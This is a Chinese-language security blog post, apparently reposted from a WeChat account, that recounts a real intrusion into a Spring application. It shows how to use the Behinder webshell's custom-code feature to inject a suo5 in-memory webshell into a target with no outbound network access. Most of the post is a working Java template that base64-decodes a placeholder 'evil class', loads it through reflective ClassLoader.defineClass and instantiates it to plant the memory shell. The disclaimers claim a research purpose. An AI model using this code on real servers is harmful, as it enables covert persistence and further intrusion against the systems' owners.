免责声明
本号所发布的所有内容,包括但不限于信息、工具、项目以及文章,均旨在提供学习与研究之用。所有工具安全性自测。如因此产生的一切不良后果与文章作者和本公众号无关。如有涉及公司与个人敏感信息,侵权烦请告知,我们会立即删除并致歉。
前言
一次实战中,spring 环境,通过代码执行漏洞打入了冰蝎内存马,但是发现之后漏洞接口被打环了,执行不成功,并且目标不出网,这时候就想到了通过冰蝎的自定义代码功能注入 suo5 内存马。
自定义代码注入
点击冰蝎自定义代码功能,可以看到已经有了示例的代码,这个代码功能就是输出 hello world。
ServletOutputStream so = ((ServletResponse) Response).getOutputStream();
so.write("hello world".getBytes("UTF-8"));
so.flush();
so.close();
fillContext 方法是用来设置 Request、Response、Session 的。
我们只要在equals函数中嵌入注入内存马的代码就行了,可以参考如下链接通过反射类加载字节码来注入内存马。
jdk 版本可以在冰蝎的基本信息中看到,jdk 版本过高的话需要更改反射类加载字节码的代码。
参考代码
高版本 jdk 不适用。
import javax.servlet.ServletOutputStream;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpSession;
import javax.servlet.jsp.PageContext;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Method;
import java.util.Base64;
publicclass Test {
privateObject Request;
privateObject Response;
privateObject Session;
publicboolean equals(Object obj) {
try {
fillContext(obj);
String evilClassBase64 = "{{base64ClassBytes}}";
byte[] bytes = Base64.getDecoder().decode(evilClassBase64);
Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
method.setAccessible(true);
Class ccc = (Class) method.invoke(ClassLoader.getSystemClassLoader(), "{{className}}", bytes, new Integer(0), new Integer(bytes.length));
ccc.newInstance();
ServletOutputStream so = ((ServletResponse) Response).getOutputStream();
so.write("inject success".getBytes("UTF-8"));
so.flush();
so.close();
} catch (Exception e) {
e.printStackTrace();
}
returntrue;
}
privatevoid fillContext(Object obj) throws Exception {
if (obj.getClass().getName().indexOf("PageContext") >= 0) {
this.Request = obj.getClass().getDeclaredMethod("getRequest", new Class[] {}).invoke(obj);
this.Response = obj.getClass().getDeclaredMethod("getResponse", new Class[] {}).invoke(obj);
this.Session = obj.getClass().getDeclaredMethod("getSession", new Class[] {}).invoke(obj);
} else {
Map<String, Object> objMap = (Map<String, Object>) obj;
this.Session = objMap.get("session");
this.Response = objMap.get("response");
this.Request = objMap.get("request");
}
Response.getClass().getDeclaredMethod("setCharacterEncoding", new Class[] { String.class }).invoke(Response, "UTF-8");
}
}
原文始发于微信公众号(良月安全):[技术分享]冰蝎自定义代码注入内存马
原文始发于微信公众号(良月安全):[技术分享]冰蝎自定义代码注入内存马
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论